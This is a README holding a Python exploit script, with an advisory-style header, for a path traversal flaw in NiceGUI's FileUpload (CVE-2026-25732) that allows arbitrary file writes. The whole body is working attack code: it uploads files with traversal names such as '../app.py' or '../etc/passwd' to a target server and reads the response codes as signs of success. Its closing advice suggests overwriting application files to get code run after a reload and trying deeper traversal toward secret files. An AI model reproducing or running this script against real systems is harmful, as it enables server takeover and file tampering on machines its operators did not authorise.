README.md
Rendering markdown...
#!/usr/bin/env python3
# Exploit Title: NiceGUI Path Traversal in FileUpload Leading to Arbitrary File Write
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: NiceGUI <= 3.6.1 (Python 3.8–3.12 on Linux/Windows)
# CVE: CVE-2026-25732
#
# Affected Versions: <= 3.6.1 (fixed in 3.7.0)
#
# Type: Remote Arbitrary File Write / Path Traversal
# Platform: Web Application (Python / NiceGUI)
# Author Country: Jordan
# Weakness: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
# Attack Vector: Network
# Privileges Required: None
#!/usr/bin/env python3
"""
CVE-2026-25732 — NiceGUI arbitrary file write (path traversal)
Exploits unsanitized FileUpload.name when app uses it in save path.
Usage:
python exploit_cve_2026_25732.py http://target:8080 "../etc/passwd" payload.txt
python exploit_cve_2026_25732.py http://target:8080 "../app.py" malicious_app.py
"""
import sys
import requests
from urllib.parse import urljoin
from pathlib import Path
def exploit(target_url: str, malicious_filename: str, local_payload_path: str | Path):
target_url = target_url.rstrip('/') + '/'
try:
with open(local_payload_path, 'rb') as f:
payload_bytes = f.read()
except Exception as e:
print(f"[-] Cannot read payload file: {e}")
sys.exit(1)
files = {
'file': (malicious_filename, payload_bytes, 'application/octet-stream')
}
print(f"[*] Target : {target_url}")
print(f"[*] Malicious name : {malicious_filename}")
print(f"[*] Payload size : {len(payload_bytes):,} bytes")
try:
# NiceGUI upload endpoint is usually the page itself (multipart POST to /)
r = requests.post(
target_url,
files=files,
timeout=12,
allow_redirects=False
)
print(f"[+] Response : {r.status_code} {r.reason}")
if r.status_code in (200, 201, 204):
print("[SUCCESS] Upload accepted — file likely written")
elif r.status_code == 413:
print("[!] Payload too large (server limit)")
elif r.status_code in (400, 403, 422):
print("[!] Rejected — target may be patched / not vulnerable / wrong endpoint")
else:
print("[?] Unexpected response — check manually")
print("\nSnippet of response:")
print(r.text[:600].replace('\n', ' ').strip() + "..." if len(r.text) > 600 else r.text)
except requests.RequestException as e:
print(f"[-] Request failed: {e}")
print("\nNext steps:")
print(" • Check filesystem on target (if you have access)")
print(" • If you overwrote app.py / main.py → wait for reload / restart")
print(" • Try deeper traversal: '../../some/secret/file' etc.")
if __name__ == '__main__':
if len(sys.argv) != 4:
print(__doc__)
sys.exit(1)
target = sys.argv[1]
dest_filename = sys.argv[2]
payload_file = sys.argv[3]
exploit(target, dest_filename, payload_file)